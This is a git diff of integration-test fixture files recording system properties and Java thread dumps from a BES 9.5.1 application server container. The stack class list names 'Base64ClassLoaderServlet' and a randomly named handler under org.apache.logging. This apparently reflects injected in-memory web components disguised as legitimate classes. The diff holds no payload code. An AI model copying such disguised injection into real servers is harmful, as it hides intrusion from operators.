java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"RMI TCP Connection(2)-172.17.0.4" #99 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.19/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.19/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186) + at java.base@17.0.19/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290) + at java.base@17.0.19/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314) + at java.base@17.0.19/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355) + at java.base@17.0.19/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808) + at java.base@17.0.19/java.net.Socket$SocketInputStream.read(Socket.java:966) + at java.base@17.0.19/java.io.BufferedInputStream.fill(BufferedInputStream.java:244) + at java.base@17.0.19/java.io.BufferedInputStream.read(BufferedInputStream.java:263) + at java.base@17.0.19/java.io.FilterInputStream.read(FilterInputStream.java:82) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$585/0x00007405f05ff4b0.run(Unknown Source) + at java.base@17.0.19/java.security.AccessController.executePrivileged(AccessController.java:776) + at java.base@17.0.19/java.security.AccessController.doPrivileged(AccessController.java:399) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"http-nio-0.0.0.0-1900-Acceptor" #82 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.19/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.19/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.19/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:608) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:88) + at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"RetryTimer" #61 daemon [WAITING] on java.util.TaskQueue@20543971 + java.lang.Thread.State: WAITING + at java.base@17.0.19/java.lang.Object.wait(Native Method) + at java.base@17.0.19/java.lang.Object.wait(Object.java:338) + at java.base@17.0.19/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@17.0.19/java.util.TimerThread.run(Timer.java:516) + +"SelectorReaderThread-8080-1" #83 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.19/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.19/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.19/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.19/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:877) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"http-nio-0.0.0.0-8080-Acceptor" #84 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.19/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.19/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.19/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:608) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:88) + at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"jmsra-WorkerThread-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10 + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"RMI GC Daemon" #95 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@365983f5 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.19/java.lang.Object.wait(Native Method) + at java.rmi@17.0.19/sun.rmi.transport.GC$Daemon.run(GC.java:127) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.19/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"httpWorkerThread-8080-7" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"AsyncLoggerDisruptor-1" #18 daemon [TIMED_WAITING] on java.lang.Object@48578a08 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.19/java.lang.Object.wait(Native Method) + at java.base@17.0.19/java.lang.Object.wait(Object.java:472) + at app//com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150) + at app//com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43) + at app//com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56) + at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159) + at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +ServletNameTestFilter +UrlMappingTestFilter +com.bes.enterprise.appserver.startup.Bootstrap +com.bes.enterprise.appserver.startup.CommonClassLoader$1 +com.bes.enterprise.base.disruptor.BatchEventProcessor +com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier +com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy +com.bes.enterprise.base.disruptor.util.Util +com.bes.enterprise.common.file.watcher.FileAlterationMonitor +com.bes.enterprise.gjc.pool.impl.GenericObjectPool$ObjectCreator +com.bes.enterprise.gjc.pool.impl.NoticableLinkedBlockingDeque +com.bes.enterprise.serializer.defence.common.file.watcher.FileAlterationMonitor +com.bes.enterprise.server.builder.BesWebModule +com.bes.enterprise.startup.ASMain +com.bes.enterprise.web.crane.AbstractProcessorLight +com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler +com.bes.enterprise.web.crane.http11.Http11Processor +com.bes.enterprise.web.util.net.Acceptor +com.bes.enterprise.web.util.net.NioEndpoint +com.bes.enterprise.web.util.net.NioEndpoint$Poller +com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor +com.bes.enterprise.web.util.net.SocketProcessorBase +com.bes.enterprise.web.util.threads.ThreadPoolExecutor +com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker +com.bes.enterprise.web.util.threads.WorkQueue +com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable +com.bes.enterprise.web.websocket.server.WsFilter +com.bes.enterprise.webext.BESAppservValve +com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve +com.bes.enterprise.webext.BesContextCleanupValve +com.bes.enterprise.webtier.authenticator.AuthenticatorBase +com.bes.enterprise.webtier.connector.CoyoteAdapter +com.bes.enterprise.webtier.connector.CoyoteWriter +com.bes.enterprise.webtier.core.ApplicationFilterChain +com.bes.enterprise.webtier.core.DefaultContextValve +com.bes.enterprise.webtier.core.DefaultEngineValve +com.bes.enterprise.webtier.core.DefaultHostValve +com.bes.enterprise.webtier.core.DefaultWrapperValve +com.bes.enterprise.webtier.valves.ErrorReportValve +org.apache.logging.UKnKC.ErrorQvlgaHandler +org.hsqldb.lib.HsqlTimer +org.hsqldb.lib.HsqlTimer$TaskQueue +org.hsqldb.lib.HsqlTimer$TaskRunner diff --git a/integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt index 337a2396..4e2e6c43 100644 --- a/integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt +++ b/integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt @@ -1,4 +1,4 @@ -# Generated At 2025-08-10 14:56:17 +# Generated At 2026-05-24 05:04:29 SystemProps: bes.loader: bes-system java.vendor: Oracle Corporation @@ -20,11 +20,11 @@ user.name: root tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar shared.loader: "${catalina.base}/lib/shared/classes","${catalina.base}/lib/shared/*.jar" tomcat.util.buf.StringCache.byte.enabled: true -com.bes.hostName: 21437a35c6d3 +com.bes.hostName: b6fa2ed19f7c java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory user.language: en derby.system.home: /opt/bes/conf -sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64 com.bes.enterprise.log.outAndErrNotRedirect: true java.version: 1.8.0_342 java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager @@ -47,7 +47,7 @@ java.home: /usr/local/openjdk-8/jre java.vm.info: mixed mode com.bes.instanceName: server com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider -os.version: 6.14.10-orbstack-00291-g1b252bd3edea +os.version: 6.8.0-111-generic path.separator: : java.vm.version: 25.342-b07 com.bes.verboseMode: true @@ -63,7 +63,7 @@ java.naming.factory.url.pkgs: org.apache.naming:com.bes.enterprise.ejb.core.ivm. user.home: /root java.specification.vendor: Oracle Corporation tomcat.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,derbyclient,bes-ejb-glue,org.apache.wss4j.wss4j-bindings,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,bes-server-webservices,bes-ee-webapp,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,org.apache.wss4j.wss4j-policy,org.apache.commons.commons-codec,org.apache.cxf.cxf-rt-rs-client,bes-ee-loader,bes-webtier-jdbc,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.cxf.cxf-rt-rs-service-description,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,org.apache.wss4j.wss4j-ws-security-dom,bes-server-internal,bes-logger,org.apache.cxf.cxf-rt-bindings-soap,org.apache.wss4j.bes-wss4j-ws-security-policy-stax,org.apache.cxf.cxf-rt-security,bes-webtier-util,org.apache.cxf.cxf-rt-databinding-jaxb,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-server-cxf-transport,bes-engine,bootstrap,org.apache.cxf.cxf-rt-transports-http,bes-patch,org.apache.cxf.cxf-rt-frontend-jaxrs,org.apache.bval-core,bes-ee-jdbc-connector,bes-distributed-session,bes-ee-webservices-connector,bes-launcher,bes-server-api,org.apache.cxf.cxf-rt-security-saml,bes-ee-jaxrs-connector,org.apache.cxf.cxf-rt-ws-policy,org.apache.bval-jsr,bes-server-jee-accessors,bes-server-hsql,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.apache.ws.xmlschema.xmlschema-core,org.objectweb.howl.howl,org.apache.cxf.cxf-rt-rs-extension,bes-server-cxf-rs,bes-webtier-servlet-api,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.cxf.cxf-rt-bindings-xml,org.apache.geronimo.specs.geronimo-osgi-locator,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,org.apache.commons.commons-pool2,org.apache.geronimo.components.geronimo-transaction,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,org.apache.cxf.cxf-rt-ws-security,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,org.slf4j.slf4j-api,org.apache.santuario.xmlsec,org.apache.neethi.neethi,derby,org.apache.cxf.cxf-core,bes-ee-catalina-integration,bes-server-ejbd,bes-deployment-common,bes-config-parser,org.metatype.sxc.sxc-runtime,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,bes-jmx-remote,bes-cli-command,bes-command-api,org.eclipse.jdt.ecj,bes-server-core,bes-api,activation,com.ibm.wsdl4j.wsdl4j,org.apache.openwebbeans.openwebbeans-el22,org.apache.cxf.cxf-rt-wsdl,org.apache.xml-resolver,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,org.apache.openwebbeans.openwebbeans-impl,org.apache.cxf.cxf-rt-frontend-jaxws,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.cxf.cxf-rt-management,org.apache.openwebbeans.openwebbeans-spi,org.apache.wss4j.wss4j-ws-security-stax,bes-ee-mojarra-connector,bes-server-cxf,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.cxf.cxf-rt-frontend-simple,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,bes-webtier-dbcp,bes-webtier-i18n-es,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,bes-webtier-el-api,bes-server-jee,org.apache.cxf.cxf-rt-rs-security,org.apache.cxf.cxf-rt-ws-addr,mbean-annotation-api,org.apache.wss4j.wss4j-ws-security-common,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket,org.apache.cxf.cxf-rt-rs-json-basic -java.library.path: /opt/bes/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.library.path: /opt/bes/lib:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib java.vendor.url: http://java.oracle.com/ com.bes.enterprise.deployments.classpath: false java.vm.vendor: Oracle Corporation @@ -82,7 +82,7 @@ java.awt.headless: true java.io.tmpdir: /tmp java.vendor.url.bug: http://bugreport.sun.com/bugreport/ server.loader: -os.arch: aarch64 +os.arch: amd64 java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment com.bes.webbeans.logger.WebBeansLoggerFacade: com.bes.enterprise.ejb.cdi.logging.ContainerJULLoggerFactory bes.version: 9.5.1 @@ -105,26 +105,50 @@ javax.net.ssl.keyStorePassword: changeit =========================================== ThreadStacks: -"http-nio-0.0.0.0-6900-AsyncTimeout" #69 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229) +"http-thread-pool-3" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"RMI RenewClean-[192.168.215.4:6600]" #84 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@74891c03 +"NioBlockingSelector.BlockPoller-1" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339) + +"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4a14f8fc java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1320e0b9 + java.lang.Thread.State: WAITING at java.lang.Object.wait(Native Method) at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) - at java.lang.Thread.run(Thread.java:750) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) -"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].StandardContext[/app]]" #87 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) +"RMI Reaper" #74 [WAITING] on java.lang.ref.ReferenceQueue$Lock@4e06e655 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) at java.lang.Thread.run(Thread.java:750) -"RMI TCP Accept-6600" #79 daemon [RUNNABLE] +"RMI TCP Accept-6600" #73 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at java.net.PlainSocketImpl.socketAccept(Native Method) at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) @@ -134,14 +158,35 @@ ThreadStacks: at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) at java.lang.Thread.run(Thread.java:750) -"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@70b6864a - java.lang.Thread.State: WAITING +"RMI Scheduler(0)" #77 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@552d3946 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI RenewClean-[172.17.0.3:6600]" #78 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3893e807 + java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) - at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-6900-ClientPoller-0" #67 daemon [RUNNABLE] +"NioBlockingSelector.BlockPoller-2" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339) + +"http-nio-0.0.0.0-6900-ClientPoller-0" #61 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) @@ -151,47 +196,92 @@ ThreadStacks: at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801) at java.lang.Thread.run(Thread.java:750) -"RetryTimer" #51 daemon [WAITING] on java.util.TaskQueue@35b41638 +"http-thread-pool-7" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5 java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at java.util.TimerThread.mainLoop(Timer.java:526) - at java.util.TimerThread.run(Timer.java:505) + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) -"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[]]" #75 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) +"http-thread-pool-6" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"NioBlockingSelector.BlockPoller-2" #16 daemon [RUNNABLE] +"RMI TCP Connection(2)-172.17.0.3" #79 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/1987604558.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-ClientPoller-0" #64 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) at 